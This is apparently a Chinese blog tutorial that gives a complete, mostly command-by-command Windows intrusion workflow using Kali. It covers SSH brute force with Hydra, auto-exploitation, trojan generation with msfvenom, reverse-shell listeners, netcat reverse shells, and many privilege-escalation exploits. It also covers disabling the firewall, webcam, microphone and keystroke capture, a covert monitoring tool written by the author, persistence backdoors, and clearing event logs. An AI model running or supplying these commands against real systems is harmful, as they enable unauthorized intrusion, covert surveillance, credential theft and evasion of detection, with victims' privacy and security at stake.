Kali入侵入门版笔记!!!

 寻找目标并测试开放端口


开始前的准备 我们先配置下电脑.  客户端kalilinux  目标windows服务器也是我们的目标
如果你不知道怎么配置公网服务器可以参考下我之前的文章:https://www.cnblogs.com/eternalnight/p/13937041.html
 
nmap -sS -Pn -p10023 -o xxxxxxxx.com

准备字典


1..我自己做的python字典生成,简介方便kali把源码复制就能用了https://www.cnblogs.com/eternalnight/p/13943390.html

python createDic.py

2.kali自带的生成字典命令 

crunch 8 8 +0123 -t admin%%%  >passwd.txt

由于尝试ssh密码 比正常的要么,所以密码必须精选. 生成8位,前5位是admin后3位是 0123其中的枚举

OK我们手动打开,把需要的留下,并且手动添加常规密码.

echo -e "Administratorx0Aadminx0Asshd_serverx0Atest" >>users.txt

把用户名发送到users.txt x0A是换行分割用户 admin test

echo "xxxxxxx.com" >>targetIP.txt

把目标的IP或网址发送到targetIP.txt目标端口

hydra -p test123 -l test -o output.txt -V ssh://192.168.0.111:10023
hydra -P passwd.txt -L users.txt -M targetIP.txt -o output.txt -V ssh -s 10023

两个对比,我更喜欢后者,可以批量处理.最后结果输出到output.txt文件

cat output.txt |awk -F'x20' '/password/{print $1,$2,$3,$4,$5,$6,$7}' |uniq -c

查找output.txt的密码数据   拿到密码和端口就尝试登陆啦,

ssh test@xxxxxxxxxx.com -p10023

漏洞扫描安装


 Rapid7 Nexpose:(商用软件)适合较大的网络      Tenable Nessus:(商用软件)价格相当更经济一些   OpenVas:免费使用的工具,更适合个人使用我们所用的版本是kali2020.3 openvas在2020版本后就不存在直接安装,改用GVM

sudo apt-get update &&sudo apt-get upgrade -y &&sudo apt-get dist-upgrade
sudo apt-get clean
sudo apt-get install gvm
sudo gvm-setup
我这把执行gvm-setup就出现了故障,参考下面故障解决后,再执行就没问题了。最后执行gvm-setup就可以了,gvm-setup过程比较久。

 这样算成功了

sudo gvm-start
sudo gvm-check-setup

最好先gvm-start开启网页,要不然问题巨他妈多. 看到:It seems like your GVM-11 installation is OK,说明安装完成了

sudo gvm-feed-update

升级特征库 但后期使用记得经常升级特征库哦

sudo gvmd --user=admin --new-password=admin123
sudo runuser -u _gvm -- gvmd --user=admin --new-password=admin123
frefox https://127.0.0.1:9392/

 

 

 

sudo gvm-start        sudo gvm-stop         https://127.0.0.1:9392/默认是这个本地网址端口

  • 故障1   
libc6-dev: 破坏: libgcc-8-dev(< 9.3.0-5~) but8.2.1-19 正要被安装
E: 错误,pkgProblemResolver::Resolve 发生故障,这可能是有软件包被要求保持现状的缘故。
sudo apt-get install gcc-8-base 
  • 故障2
执行“apt-get install gcc-8-base”报错,说gcc-8-base又有依赖mutter
sudo apt-get install mutter gcc-8-base
  • 故障3
Error: The default postgresql version is not 12 required by libgvmd
Error:Use pg_upgradecluster to update your postgres cluster
  • 故障4
Error: No users found.You need to create at least one user to log in.
FIX: create a user by running 'sudo runuser -u _gvm --gvmd --create-user=<name> --password=<password>'
sudo apt-get install postgresql-12
sudo pg_dropcluster 12 main --stop
sudo pg_upgradecluster 11 main
故障3和故障4都一样方法解决
  • 故障5
ERROR: The default postgresql version is not 13 required by libgvmd
Error: Use pg_upgradecluster to update your postgres cluster
sudo apt-get install postgresql-13
sudo systemctl stop postgresql@13-main
sudo systemctl daemon-reload
sudo pg_dropcluster 13 main --stop
sudo pg_upgradecluster 12 main
Kali默认使用postgresql的版本是12,而openvas要13,而且12与13不兼容       解决:停了12用13
 
 漏洞扫描配置openvas目标

 

 目标是WIN10,我们只需要等待扫描即可,要确保目标是能ping的通的

 漏洞扫描配置openvas任务


选择Scans>Reports>

 

这就是我们这次扫描所有的端口所找到的漏洞,
1.SMB Brute Force Logins With Default credentials 使用默认凭据进行SMB暴力登录 高危 漏洞
2.DCE/RPC and MSRPC services Enumeration Reporting  DCE/PRC和MSRPC服务枚举报告
 SMB 网络服务
SMB (Server Message Block,服务器消息块) 首先提供了 Windows 网络中最常用的远程文件与打印机共享网络服务;其次,SMB 的命名管道是 MSRPC 协议认证和调用本地服务的承载传输层。
SMB 作为应用层协议,既可以直接运行在 TCP 445 端口上,也可以通过调用 NBT 的 TCP 139 端口来接收数据。SMB 的文件与打印机共享服务中已被发现的安全漏洞达到数十个之多,其中可以导致远程代码执行的高危性漏洞也有十多个,包括:MS10-054、MS10-012 等。
DCE/RPC
 独立运行于网络传输层协议之上,采用的网络传输层协议包括 ncacn_ip_tcp (TCP 135 端口)、ncadg_ip_udp (UDP 135 端口)、ncacn_np (TCP 139、445 端口) 等
在 MSRPC 自身可能存在安全漏洞 (如 MS09-026) 的同时,作为调用大量本地服务进程的网络接口,也常常被利用来出发这些本地服务中存在的安全漏洞。由此很多本地服务安全漏洞以 MSRPC over SMB 为通道进行攻击,MS05-039 安全漏洞就是其中之一。攻击者通过发送数据到远程主机上的 SMB 协议的 445 端口,通过 MSRPC 调用远程主机的即插即用 (Plug and Play Service) 服务,溢出该服务进程的栈缓冲区,达到控制主机的目的;而 Server 服务路径规范化处理不当漏洞 (MS08-067) 也是通过 MSRPC 协议,经过 SMB 服务通道,利用 Server 服务的 NetPathCanonicalize 方法中存在的安全漏洞。
MSRPC
(MicroSoft Remote Procedure Call,微软远程过程调用) 是对 DCE/RPC 在 Windows 系统下的重新改进和实现,用以支持 Windows 系统中的应用程序能够无缝地通过网络调用远程主机上服务进程中的过程。
 RDP 远程桌面服务
RDP (Remote Desktop Protocol,远程桌面协议) 由微软开发,提供给远程的客户端用户一个登陆服务器的图形界面接口,服务默认运行于 TCP 3389 端口。
由于服务器的管理人员经常需要远程管理主机,所以服务器基本都会启用 RDP 服务。针对该服务的攻击也时有发生,除了口令猜测、破解等试图绕过认证的攻击之外,内存攻击也时有发生。2012 年爆出的 MS12-020 漏洞就是其中的典型例子。该漏洞存在于 RDP 服务的底层驱动文件 Rdpwd.sys 中,属于内核级漏洞。攻击者通过向远程主机的 3389 端口发送恶意数据包,造成服务程序使用一个不存在的指针,导致远程主机崩溃,达到拒绝服务攻击的目的。
我们先来看看第一个高危漏洞
我们分析下这个漏洞:
可以使用以下凭据通过SMB协议登录到“IPC$”共享 <user>:<password> test:test123
什么意思?test:test123则是我们这次漏洞扫描所捕获漏洞泄露的登陆凭证(既账号密码),  "IPC$"是什么意思?既分享
 
IPC$ Internet Process Connection 网络进程连接,是共享"命名管道"的资源。    445/tcp端口
 
找到了漏洞开始利用起来,我们通过Metasploit与openvas连接

 

 

sudo msfdb init 

service postgresql@13-main restart         service postgresql restart            sudo msfdb reinit  如果有问题就可以参考这三条命令

msfconsole
db_import Downloads/
hosts
vulns

漏洞信息都上传到msfconsole了。

cd /usr/share/metasploit-framework/plugins/
sudo wget https://raw.githubusercontent.com/hahwul/metasploit-db_autopwn/master/db_autopwn.rb

打开另外一个终端下载,自动攻击db

load db_autopwn

db_autopwn -t -p -e -r

正在批量自动化攻击反弹shell

 结果不是很好,并没有反弹shell成功。虽然没成功毕竟不是靶机,但我们也学习到了如何利用漏洞。

我们接下来就登陆漏洞和爆破拿到的test test123账号密码去进行提权

木马生成


Venom架构(虽然可以绕,但是问题很多)


sudo apt-get install xterm
git clone https://github.com/r00t-3xp10it/venom.git
mkdir -p ~/Tools &&mv venom ~/Tools/ &&cd ~/Tools/venom
find ./ -name "*.sh" -exec chmod +x {} ;
find ./ -name "*.py" -exec chmod +x {} ;
cd aux &&sudo ./setup.sh
/usr/share/metasploit-framework #库安装目录位置,根据自己实际情况去定
   /var/www/html  #设置AP目录(apache2 webserver)
 /opt/.wine  #输入.wine 目录路径
#zenity: relocation error: /usr/lib/x86_64-linux-gnu/libxslt.so.1: symbol xmlBufContent version LIBXML2_2.9.0 not defined in file libxml2.so.2 with link     time reference #发现配置依赖过程中出现zenity按自己实际情况操作下面命令,要注意看自己是什么版本的libxml操作下面。
    mv /usr/local/lib/libxml 2.so.2.7.8 /usr/local/lib/libxml2.so.2.7.8_bak
    mv /usr/local/lib/libxml2.so.2 /usr/local/lib/libxml2.so.2_bak
    ln -s /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.4 /usr/local/lib/libxml2.so.2
另外注意,在parrot系统中,root用户无法直接使用systemctl start apache2.service开启apache等服务,
必须普通用户才行。否则会提示
 #systemctl restart apache2.service
    #Failed to restart apache2.service: Access denied
 #See system logs and 'systemctl status apache2.service' for details.
cd ..
sudo ./venom.sh -u 

 这里说明下,要根据目标的系统类型去选择,我的目标是64位操作系统则选择windows/x64

 其他的都默认提示选或者自己填

提权


 1.sc其实跟net 等都是管理服务的一种工具,所有服务都是由system系统最高权限去执行

sc Create syscmd binPath= "cmd /K start" type= own type= interact
我通过sc去获得一个交互式的cmd命令框既管理权限,不过在安全强度大的计算机是行不通的

 2.at时间执行跟上面原理相似,同样是由system执行,但是如果上面失败了,这个也行不通

at 11:15 /interactive cmd

3.net命令直接提权

net localgroup administrators test
成功率极低 

 4.在kali操作监听目标端口

nc XXXXXX.com 10023

 但是需要关闭对方防火墙,由于你没权限所以无法做到,但是我还是做了示范 netsh advfirewall set currentprofile state off,需要powershell执行才能全部关闭

5.上传木马漏洞提权
先配置本机的kali的ssh服务能让sftp能回传,我之前发过ssh权限服务端设置:https://www.cnblogs.com/eternalnight/p/13937041.html

 先上传无密码登陆的公钥

sftp -P10023 test@xxxx.com
put -r Tools/venom/output/5cmd64.exe 
这里说明下,由于sftp的通道是建立在ssh也就是说传输的位置就会在,ssh 传输windows稍微麻烦点,我们用sftp也是用ssh通道的E:SSHhome est5cmd.exe.

 之后我会专门做一期高度免杀的木马,由于内容比较繁琐,所以你们尽量用靶机测试,我的服务器是配置了火绒 已经免杀了可以看到.准备好监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp)
set LHOST 192.168.0.111
set LPORT 666
exploit

监听好

ssh -p10023 test@xxxxx.com "/home/test/5cmd64.exe"

发送一条远程执行命令,这里必须强调一点,SSH尽量安装在C盘,否则会出现各种不必要的权限问题

拿到反弹shell,但是还是普通用户

各种颅内高潮提权操作


1.最简单但也是最危险的操作,如果对方有像火绒一样的就会察觉并且封杀你的木马,导致你无法再次登录。

getsystem

2.exp溢出提权漏洞 ms10_073_kbdlayout

background

我们先在meterpreter输入:background 后台放置,方便我们非关闭会话

我们直接sessions 1就能回到meterpreter

search ms10_073_kbdlayout

use post/windows/escalate/ms10_073_kbdlayout
options

set SESSION 1
exploit
sessions 1

或者直接在meterpreter执行 run post/windows/escalate/ms10_073_kbdlayout

目标系统不易受攻击 也就没有这方面的漏洞。OK我们试下一个

3.盗取令牌 直接在meterpreter操作

use incognito

进入模块 

list_tokens -u

 依旧失败,我们只有目前爆破的用户的口令,不过下面示范下如何获取口令

impersonate_token "NT AUTHORITY\SYSTEM"

用户前面需要添加两个\ 

meterpreter中文乱码

chcp 65001

如果你已经拿到了system shell那么你就跳过提权步骤,转到下方操作后续。

4.Bypassuac 绕过用户控制漏洞


为了远程执行目标的exe或者bat可执行文件绕过此安全机 UAC(UserAccount Control,用户账户控制)

简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

background
search bypassuac

use exploit/windows/local/bypassuac
show options
set session 1
exploit
成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权
5.HASH 
run post/windows/gather/hashdump
run post/windows/gather/smart_hashdump

 抓取密码,被拒绝访问了。如果成功了就可以通过执行下面命令提权

background
use exploit/windows/smb/psexec
options
set rhost xxxx.com
set SMBuser 我们捕获的hash用户名
set SMBPass HASH值
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.111
set lport 4444
exploit

关于john the ripper暴力破解

https://download.openwall.net/pub/projects/john/contrib/windows/官网windows下载

6.Service Permissions 服务权限漏洞


use exploit/windows/local/service_permissions
options
set session 1
run

 这个漏洞可以针对 OS   : Windows 10 (10.0 Build 19041). Architecture    : x64

7. 内置漏洞提取以及运用

use post/multi/recon/local_exploit_suggester
set session 1
run

发现有3个漏洞可以直接利用

8.柳暗花明(enum_services利用)


use post/windows/gather/enum_services
set session 1
run

shell
cacls E:HuorongSysdiaginwsctrlsvc.exe

好吧我们看到的这个服务是火绒,太岁头上动土,哈哈。查看这个服务的权限,发现到这个服务是允许普通用户修改的。我把服务换成我们木马重启的时候就可以上线了。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.111 LPORT=668 -f exe-service -o wsctrlsvc.exe
upload /home/kali/wsctrlsvc.exe "E:\Huorong\Sysdiag\bin\wsctrlsvc.exe"

 权限不足,拒绝访问,原因很简单,杀毒软件不是这么容易改的,所以真能认了,但是后面还是模拟一下成功后的操作。

net start wsctrlsvc.exe
sessions

 9. 凭证存储  Windows7之后的操作系统提供了windows保险柜功能


Window保险柜存储Windows可以自动登录用户的凭据,这意味着需要凭据才能访问资源(服务器或网站)的任何Windows应用程序都可以使用此凭据管理器和Windows Vault并使用提供的凭据代替用户一直输入用户名和密码。
cmdkey /list

runas来以管理员权限启动nc反弹shell。

Runas /user:administrator /savecred "nc.exe -e cmd.exe 192.168.0.111 4433"

nc -lvvp 4433

 

 10.使用Potato(烂土豆) 窃取system 令牌并模仿令牌


https://www.bilibili.com/video/av91087772 bilibili上的某教程

git clone https://github.com/foxglovesec/Potato.git
cd Potato/source/Potato/Potato/obj/Release

 

把它丢到WINDOWS中,在meterpreter操作

use incognito
list_tokens -u

发现还没有system权限的令牌

execute -cH -f ./potato.exe

impersonate_token "NT AUTHORITY\SYSTEM"
shell
whoami
whoami /priv

EXP原理浅析


1.欺骗 “NT AUTHORITYSYSTEM”账户通过NTLM认证到我们控制的TCP终端。2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITYSYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

11.永恒之蓝(ms17-010)提权针对win7

use exploit(windows/smb/ms17_010_eternalblue
set rhosts xxxx.com
run

12.流氓 沾滞键提权漏洞 在meterpreter下执行


run post/windows/manage/sticky_keys

RDP(3389远程桌面) or UAC(用户账号控制)模式下连续按5次 Shift键就会提权system

 常用meterpreter简单测试命令


摄像头

列表
webcam_list

 快照

webcom_snap
录像 停止 run webcom -s
run webcom -p /var/www/
实时摄像头传输直播
webcam_stream
截屏
screenshot
鼠标键盘控制权,-h详细命令
uictl -h
视频聊天,对方会弹窗
webcam_chat
麦克风记录5秒 -p 默认为true自动播放
record_mic -d 5 -p false
远程控制:要求管理权限,如果没有权限,可以参考上面提权。

查看状态
enumdesktops
查看可用的session
getdesktop
与meterpreter关联session
setdesktop
设置meterpreter关联session
开启远程3389端口rdp
run post/windows/manage/enable_rdp USERNAME=rdpTest PASSWORD=123 FORWARD=true LPORT=6662 
第一种:开启远程端口
run getgui -u rdpTest -p 123 -f 777
第二种:我们启动远程 上面是建立一个,允许账号rdpTest 密码123登陆 3389端口转发到777  run getgui -e纯开启远程端口, 

结果就会创建一个名为rdpTest的拥有管理权限的用户

run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__xxxxx.rc
我们运行上面命令就会清理掉远程信息包含rdpTest管理员账户
如果以上方法都无法开启3389则在下面执行
shell
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
注册表开启远程端口,把后面的000.....改成11111111则关闭
连接3389端口

rdesktop -e -u "rdpTest" -p "123" 192.168.0.142:3389
远程控制run VNC

run vnc
虽然远程桌面打开了,但是依旧无法控制。解决办法如下
sudo vim /usr/share/metasploit-framework/scripts/meterpreter/vnc.rb
添加到111和104行:
pay.datastore['ViewOnly'] = false
我们需要修改meterpreter下的vnc.rb配置 位置在111行 和104行添加
键盘监听记录

meterpreter内置的记录,但是不能自动保存,缺点
keyscan_start
监听开始
keyscan_dump
下载记录内容
这里注意了,内置的记录它不会显示中文只会用特殊符号表示。停止记录
keyscan_stop
进阶监听系统登录信息,账号密码。

ps |grep winlogon
migrate 924
keyscan_start
我们通过迁移进程PID,去记录用户登录系统账号密码信息。
模块运用post/windows/capture/keylog_recorder 保存 键盘记录

ps |grep QQ
migrate 2088
run keylog_recorder
我们将meterpreter迁移到QQ,当QQ开启的时候meterpreter也同时启动。
监听到的结果都会保存到红线文件中,就解决了meterpreter内置不能保存的问题。
模块迁移meterpreter
run post/windows/manage/migrate

 我们可以看到模块帮我们迁移到笔记本,隶属于system组

自己的项目用于替代meterpreter内置外置的键盘鼠标监听

离开了几个星期的时间,去开发了个项目去替代meterpreter的键盘监听,这个项目定义名 KBMonitor,现在终于完成项目回来了。做着这个笔记总觉得上面两种键盘监听太鸡肋,所以头脑发热开发了个。版本从1.0更新至2.0,目前BUG问题较少可以放心使用。
我的博客上另一篇文章有详细的教程和源码分析:https://www.cnblogs.com/eternalnight/p/14045089.html
git clone https://github.com/EternalNight996/KBMonitor.git
源码和成品我都放在github上面,执行上面命令就可以全部下载。成品双击执行即可,但是有方法,还是得看看博客怎么使用。项目分四部分
1.windows监控端 2.windows监控传输端 3.windows服务端  4.linux服务端。。。。其功能十分强大,可以监控任意你想监控的软件浏览器,并截屏。实时回传服务端。

 我们现在拿到了管理员权限,则就可以放置一个实时监听,再设置每次重启就会打开。。。下面我将演示利用这个软件怎么达到一个实时不间断控制。

git clone https://github.com/EternalNight996/KBMonitor.git
cd KBMonitor/output/LinuxServer
python3 SocketLinuxServer.py
配置自己服务器也就是本机的IP或者域名,以及端口。会生成一个目录和文件,将Monitor_config.txt文件复制到windows客户端

 打开另一个终端执行

cp KBMonitor/output/LinuxServer/Monitor_config.txt KBMonitor/output/WinClient/Monitor_config.txt
这时候我们就将客户端发送到目标电脑。在meterpreter执行下面命令
getlwd

 

mkdir D:\Mycode
upload -r /home/kali/myProject/venvs/KBMonitor/output/WinClient D:\Mycode\

 shell
cd /d D:\Mycode\
run.vbs
我打开QQ输入账号密码,

 

 

 开启防火墙,两种方法

netsh advfirewall set currentprofile state on
netsh firewall set opmode mode=enable
关闭防火墙,两种方法
netsh advfirewall set currentprofile state off
netsh firewall set opmode mode=disable
还原策略默认值
netsh advfirewall reset 
添加防火墙进出规则,目标我们的meterpreter木马和我们的监控项目

netstat -ano 

 

netsh advfirewall firewall add rule name="allow667inport" protocol=TCP dir=in localport=667 action=allow

netsh advfirewall firewall add rule name="allow667outport" protocol=TCP dir=out localport=667 action=allow
netsh advfirewall firewall add rule name="allow6667inport" protocol=TCP dir=in localport=6667 action=allow
netsh advfirewall firewall add rule name="allow6667outport" protocol=TCP dir=out localport=6667 action=allow
meterpreter持续后门

Persistence

 
-A 自动启动一个匹配exploit /multi/handler来连接到代理
-L 如果未使用%TEMP%则在目标主机中写入有效负载的位置
-P 有效负载使用,默认为windows / meterpreter / reverse_tcp。
-S 作为服务自动启动该木马(具有SYSTEM权限)
-T 要使用的备用可执行模板
-U  用户登录时自动启动该木马
-X  系统引导时自动启动该木马
-i 每次连接尝试之间的时间间隔(秒)
-p 运行Metasploit的系统正在侦听的端口
-r  运行Metasploit监听连接的系统的IP
 
run persistence -X -i 5 -p 4466 -r 192.168.0.111
metsvc

命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
-A 安装后门后,自动启动exploit/multi/handler模块连接后门
-r 删除后门
 
run metsvc -A
清除日志战斗痕迹

clearev
exit
session -K
 

TO THE END
原文地址:https://www.cnblogs.com/eternalnight/p/14051655.html